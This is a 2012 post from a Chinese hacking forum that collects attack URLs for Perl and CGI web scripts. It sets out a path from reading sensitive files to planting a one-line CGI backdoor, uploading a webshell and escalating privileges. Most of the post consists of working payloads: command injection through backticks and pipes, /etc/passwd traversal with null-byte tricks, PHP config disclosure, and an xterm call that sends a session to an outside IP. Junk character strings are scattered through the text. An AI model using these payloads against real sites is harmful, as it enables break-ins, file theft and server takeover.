找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3080|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
* Z6 W% H6 b2 dcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
7 j7 K- c' O) e' w; s. ]( t# ?感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  . P/ p6 M2 I9 H0 V/ S+ Q7 K
注“  
  e1 X$ Y- S" u4 Z! }6 \perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ; B0 P& i9 H  p4 p) w  P
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
! v) e3 n3 X8 y. W$ d1 E4 W' H5 H3 M( p: Z! x2 Z8 w$ J  z8 A' e
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
: b4 o3 G9 ^, Y. |- K7 Fhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
" O& J7 ^5 w; J1 h; m& R. R! b# Y2 bhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
$ Y( r: ]7 C) ]http://target.com/cgi-bin/home/news/sub.pl?`id`  % V4 y; X6 J1 H% g3 W
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
; N& X' L( s0 J% ?4 s3 Ohttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
; g# }  U4 O/ k3 I* i
4 E/ k- S4 X' D$ \: g$ Whttp://target.com/test.pl;ls|  
& p% h$ N  h( W2 U, J% ?( Ihttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
: f9 ^: K; P) \http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  / d: P" E- B8 b& P7 X$ _( H6 m) g
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
" ~% {) g& r" p9 v比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
8 ~+ Y. E3 Y( Jhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  " {/ s0 J; f" f& i) g! [* z

. m% T% }4 x! q6 U$ w* J5 dhttp://target.com/test.pl?&........ /../../etc/passwd  
5 c, e" t. F" ~5 o: z" `# S1 L0 h( i) A
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
$ r0 F; T; a% U" s! Z, k) |http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
8 k7 M7 H3 q. v0 N5 m) k; phttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  / n$ ?0 [0 \1 \4 ^8 C# d" W8 Y7 O
& G9 [, j  J3 D
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
. ~- n8 e) z7 yhttp://www.target.org/show.php?f ... ng/admin/global.php  6 G! M8 E9 Z* ]4 W$ }* \& m
+ x5 O; r* M) N0 ~$ Y7 J( q+ @, `8 f. a
emm和ps的一句话% L( H; n8 J3 x8 P
% C( {- Z! a* |# F4 @- k  T+ [  T
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  % F- F5 c' }( u" P* \
5 ?2 l6 a& {6 u! V$ z2 Q7 L) K" i
>bbb%20|  & c* e( o7 l* k4 Z9 n, P8 a

1 Q; S9 k% T& P$ }+ `0 A9 E. i1 h; Whttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  + f4 |# L! T1 _' X

7 x7 e9 l7 Y2 ^- shttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
4 C$ b4 x& F, D8 I+ Ohttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
3 d0 j/ n/ v7 _3 L6 A8 P* z- _) M  Q% \' c
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
6 @. s- X$ c" h- qhttp://target.com/index.html#cmd.exe  8 Z" w5 c; L3 N* |- O" p- l) _
http://target.com/index.html?dummyparam=xp_cmdshell  
* V3 \8 A  ]3 S6 T0 X( Llynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  : t$ ]( P  d& ~( `: O$ i4 E3 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表